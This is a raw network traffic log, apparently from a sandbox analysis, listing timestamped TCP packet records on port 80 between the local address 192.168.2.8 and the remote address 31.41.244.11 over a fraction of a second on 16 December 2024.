Dec 16, 2024 17:02:10.800313950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.800369978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.801398039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.801455021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.801515102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.801568031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.802227974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.802282095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.802356005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.802407026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.803359032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.803606987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.803668976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.803715944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.804405928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.804461002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.804986000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.805048943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.805469036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.805524111 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.805630922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.805680990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.806557894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.806613922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.806675911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.806723118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.807691097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.807740927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.807812929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.807862043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.808782101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.808832884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.808904886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.808954000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.809834957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.809886932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.809947014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.809997082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.810947895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.810997963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.811041117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.811088085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.811958075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.812011003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.812033892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.812083006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.813071012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.813121080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.813206911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.813256979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.814249039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.814349890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.814388990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.814436913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.815180063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.815229893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.815289974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.815336943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.816349983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.816401005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.816402912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.816443920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.817380905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.817435980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.817485094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.817533016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.818520069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.818572044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.818747044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.818797112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.819957972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.820009947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.820014000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.820065022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.821096897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.821147919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.821265936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.821316957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.822271109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.822323084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.822534084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.822582960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.823376894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.823429108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.823498011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.823551893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.824311018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.824410915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.824412107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.824456930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.825426102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.825491905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.825563908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.825612068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.826342106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.826394081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.826395988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.826441050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.827413082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.827462912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.827531099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.827579975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.828483105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.828537941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.828619003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.828669071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.829703093 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.829752922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.829829931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.829880953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.830790997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.830845118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.830879927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.830929041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.831780910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.831836939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.831893921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.831943035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.832950115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.833000898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.833051920 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.833100080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.833815098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.833865881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.833915949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.833962917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.834728003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.834856033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.834903002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.834949970 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.835824013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.835887909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.835922956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.835969925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.836997032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.837045908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.837595940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.837645054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.838002920 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.838053942 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.838263988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.838314056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.839096069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.839148998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.839164019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.839212894 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.840073109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.840123892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.840193987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.840255976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.841067076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.841118097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.841317892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.841367960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.842252016 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.842302084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.842344999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.842391014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.843409061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.843460083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.843462944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.843508959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.844274998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.844326019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.979840994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.979877949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.979923010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.979954004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.980226994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.980278015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.980309963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.980355024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.981374979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.981393099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.981426001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.981446028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.982552052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.982578039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.982603073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.982619047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.983577967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.983627081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.983669996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.983716011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.984618902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.984669924 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.984684944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.984728098 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.985517025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.985569000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.985651970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.985696077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.986654997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.986702919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.986747980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.986790895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.987677097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.987724066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.987960100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.988007069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.988886118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.988933086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.988979101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.989022017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.989869118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.989913940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.990000010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.990041971 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.990942955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.990994930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.991023064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.991080046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.992177010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.992192984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.992228031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.992253065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.994921923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.994972944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.995047092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.995080948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.995095015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.995120049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.995397091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.995443106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.995685101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.995719910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.995735884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.995754004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.996368885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.996417046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.996541977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.996588945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.997560978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.997610092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.997674942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.997719049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.998533964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.998579979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.998775959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.998820066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.999859095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.999903917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.999943018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.999984980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.000633001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.000674963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.000719070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.000758886 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.001817942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.001832962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.001863003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.001884937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.002824068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.002868891 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.002969980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.003010035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.003931999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.003976107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.003993034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.004031897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.005137920 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.005183935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.005197048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.005234003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.006114960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.006129980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.006156921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.006176949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.007257938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.007272959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.007302999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.007333040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.008500099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.008524895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.008548021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.008568048 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.009404898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.009421110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.009454966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.009470940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.010468006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.010483980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.010514975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.010534048 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.011521101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.011537075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.011574030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.011605024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.012648106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.012665033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.012696981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.012715101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.013758898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.013804913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.013915062 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.013962030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.015001059 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.015048981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.015189886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.015239954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.016252041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.016305923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.016390085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.016433954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.017438889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.017455101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.017491102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.018527031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.018577099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.018655062 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.018701077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.019541025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.019587994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.019654989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.019699097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.020637035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.020684004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.020749092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.020792961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.021785021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.021800995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.021831989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.021856070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.022574902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.022589922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.022619963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.022636890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.023611069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.023627043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.023662090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.023679972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.024684906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.024701118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.024733067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.024749994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.025620937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.025638103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.025679111 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.025696039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.026695967 CET	80	49708	31.41.244.11	192.168.2.8
